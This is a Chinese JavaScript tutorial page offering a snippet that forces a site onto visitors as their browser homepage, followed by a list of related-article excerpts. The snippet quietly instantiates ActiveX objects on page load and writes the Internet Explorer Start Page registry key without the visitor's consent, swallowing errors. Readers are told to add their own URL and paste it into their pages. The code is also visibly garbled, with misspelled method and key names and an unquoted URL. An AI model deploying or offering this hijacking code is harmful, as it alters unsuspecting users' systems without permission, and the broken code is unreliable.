js强制把网址设为默认首页
小编不建议使用这种功能,毕竟是一种对网页浏览者不友好的行为。好,下面言归正传:
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>强制设为首页</title> <script type="text/javascript"> var ucook = document.cookie; var user = ucook.indexOF("ilooki="); if (user == -1) { var nowTime = new Date(); document.cookie = "ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear())+1903+"12:34:56 GMT"; document.write(""); function yuzi() { try { a1 = document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance();Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); try { Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page", http://www.jb51.net); } catch(e) { } } catch(e) { } } setTimeout("yuzi()", 1000); } </script> </head> <body> </body> </html>
使用请将网址替换成你自己的网址,然后将代码复制到你的网页中即可。
本文只是技术学习,给大家一个思路,希望可以帮助到大家,对学习javascript程序有所启发。
相关推荐
-
如何用JS取得网址中的文件名
在写一个图片自适应大小的功能时遇到了这个问题...... 呵呵,问题就不多说了,解决的路上又碰到一个石头,就是如何用JS取得图片的文件名. 想了N久,终于写出个函数来了.... 第一时间先收藏了..以备后用 var a="http://www.jb51.net/html/images/logo.gif"; var b=a.split("/"); var c=b.slice(b.length-1, b.length).toString(String).split(&q
-
js取得当前网址
window.alert(document.URL); [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
-
JS 正则表达式(学习笔记2)匹配网址url参数
. 匹配除换行符的任意字符 \w 匹配字母,数字,下划线,汉字 \s 匹配任意空白符 \d 匹配数字 ^ 匹配字符开始位置 $ 匹配字符结束位置 * 重复零次或更多次 + 重复一次或更多次 ? 重复零次或一次 {n} 重复N次 {n,} 重复N次或更多次 {n,m} 重复N次或m次url参数匹配的问题 var str="http://ladjkfldfjlfjlafjlfk/-1-1.html?sdlfjsdlkfjsdlfjo";//这是一个url //要求把URL里面-1.html
-
js获取当前页面的url网址信息
1.设置或获取整个 URL 为字符串: window.location.href 2.设置或获取与 URL 关联的端口号码: window.location.port 3.设置或获取 URL 的协议部分 window.location.protocol 4.设置或获取 href 属性中跟在问号后面的部分 window.location.search 5.获取变量的值(截取等号后面的部分) 复制代码 代码如下: var url = window.location.search; // alert(
-
用js实现判断当前网址的来路如果不是指定的来路就跳转到指定页面
复制代码 代码如下: <script type="text/javascript"> if(self!=top){top.location=self.location;} var ref=document.referrer; var domains=new Array("jb51.net/","jb51.cn/","jb51.com.cn/"); var refpass=false; for(i=0;i<=d
-
JS获取网址中指定值的正则函数
复制代码 代码如下: <script type="text/javascript"> String.prototype.getQuery = function(name){ var reg = new RegExp('(^|\\?|&)'+name+'=([^&]*|$)'), url = this.replace(/&/g, '&'), r = url.match(reg); return r === null ? null : unesc
-
JS获取当前网址、主机地址项目根路径
复制代码 代码如下: //获取当前网址,如: http://localhost:8080/Tmall/index.jsp var curWwwPath=window.document.location.href; //获取主机地址之后的目录如:/Tmall/index.jsp var pathName=window.document.location.pathname; var pos=curWwwPath.indexOf(pathName); //获取主机地址,如: http://localh
-
Js检测判断URL网址输入是否正确
检查是否为URL function check(){ str = form1.txt.value; str = str.match(/http:\/\/.+/); if (str == null){ alert('你输入的URL无效'); return false; }else{ alert("你输入的URL有效"); return true; } } [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
-
js将网址转为urlencode类型
调用方法,将下面函数写在一个js文件,支持调用 将要encode 的网址改 function UrlEncode(str) { return transform(str); } function transform(s) { var hex='' var i,j,t j=0 for (i=0; i 65535) { return ("err!") } first = Math.round(num/4096 - .5); temp1 = num - first * 4096; secon
-
js强制把网址设为默认首页
小编不建议使用这种功能,毕竟是一种对网页浏览者不友好的行为.好,下面言归正传: <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>强制设为首页</title> <script type="text/javascript"> var ucook = document.cookie; var user = ucook.indexOF("
-
Apache中如何设置默认首页具体该怎么操作
在你安装后的Apache目录下,有一个conf目录,在这个目录里,有一个"httpd.conf"文件.我们要做的,就是修改这个文件. 在这个文件里,凡是以"#"开头的每一行,都是无效的,如果你想让你的设置起作用,就要把行首的"#"去掉. 找到 DirectoryIndex 这段.把它改成DirectoryIndex index.php index.Html index.html 这样,你的网站目录的默认首页是 index.php, 如果没有ind
-
IIS6、IIS7.5设置网站默认首页方法(Directory Listing Denied)
今天有个客户问我他的网址访问目录就打开网站出现Directory Listing Denied,其实就是没有设置默认页面的问题,一般情况下默认网页的名称都是index.html,index.htm,default.htm,default.html.index.php.default.php等等,一般不是index就是default,不是html就是htm,其实这个默认页面名称可以随意设置,123.htm都是可以的,只要你设置一下就可以了. 1.目录中如果没有默认页面的或者iis中设置的默认页面不
-
vue设置默认首页的操作
在router.js设置如下: index就是默认页面 const routes = [ // 公司项目 { path: '/', redirect: '/index' }, {path:'/index',component:index}, { path:'/example', component:example, redirect:'/edetail', children:[ {path:'/edetail',component:edetail} ] }, {path:'/login',com
-
js停止冒泡和阻止浏览器默认行为的简单方法
停止冒泡通用方法: function stopBubble(e) { //如果提供了事件对象,是非IE浏览器 if ( e && e.stopPropagation ) //使用W3C的stopPropagation()方法 e.stopPropagation(); else //使用IE的cancelBubble = true来取消事件冒泡 window.event.cancelBubble = true; } 阻止浏览器默认行为-通用方法 //阻止浏览器的默认行为 function s
-
Spring Boot 2.0 设置网站默认首页的实现代码
Spring Boot设置默认首页,方法实验OK如下 附上Application启动代码 /** * @ClassName Application * @Description Spring-Boot website启动类 * @author kevin.tian * @Date 2018-03 * @version 1.0.0 */ @SpringBootApplication @PropertySource(value={ "file:${APP_HOME_CONF}/overpayment
-
JS插件amCharts实现绘制柱形图默认显示数值功能示例
本文实例讲述了JS插件amCharts实现绘制柱形图默认显示数值功能.分享给大家供大家参考,具体如下: 使用amCharts.js绘制柱形图(column chart)时,有时需要默认显示每一个柱子的数值. 通过在AmCharts.AmGraph中设置labelText属性为[[value]],即可实现上述需求. 效果如下所示: 上例的代码如下所示: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://ww
-
js将URL网址转为16进制加密与解密函数
十六进制(Hexadecimal)是计算机中数据的一种表示方法.同日常生活中的表示法不一样,它由0-9,A-F组成,字母不区分大小写.与10进制的对应关系是:0-9对应0-9:A-F对应10-15:N进制的数可以用0~(N-1)的数表示,超过9的用字母A-F.不同电脑系统.编程语言对于16进制数值有不同的表示方式:如增加0x前缀. 这里推荐一个在线转换的小工具方便大家使用:http://tools.jb51.net/transcoding/decode_encode_tool php函数: bi
-
JS 强制设为首页的代码
复制代码 代码如下: <script> var ucook=document.cookie; var user=ucook.indexOF("ilooki="); if(user==-1) { var nowTime=new Date(); document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+&qu
-
下载站常用的点击下载地址提示设hao123为首页的js代码
一般情况我们在不修改原来页面布局的情况下,如果原来的点击区域有id的话比较好,要不要修改下,这样比较好控制,否则没个下载地址的a标签里面都要加onclick事件了. 效果图: 核心代码: 复制代码 代码如下: <script>function GetCookie (name){ var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; whi
随机推荐
- mysql中多表删除其中ID相同记录的方法
- ie6,ie7,ie8完美支持position:fixed的终极解决方案
- 正则表达式中的正向预查和负向预查实例分析
- Oracle9i 动态SGA,PGA特性探索
- jquery+json实现的搜索加分页效果
- PHP使用递归算法无限遍历数组示例
- php使用Jpgraph绘制柱形图的方法
- 关于统计数字问题的算法
- Android ADB常用命令总结
- 前端js文件合并的三种方式推荐
- 完美解决AJAX跨域问题
- JavaScript高级程序设计 阅读笔记(十二) js内置对象Math
- $.extend 的一个小问题
- jquery json 实例代码
- javascript实现textarea中tab键的缩排处理方法
- 完美解决Java中的线程安全问题
- C#递归算法之打靶算法分析
- C++调试记录与心得分享
- android实现QQ微信侧滑删除效果
- React数据传递之组件内部通信的方法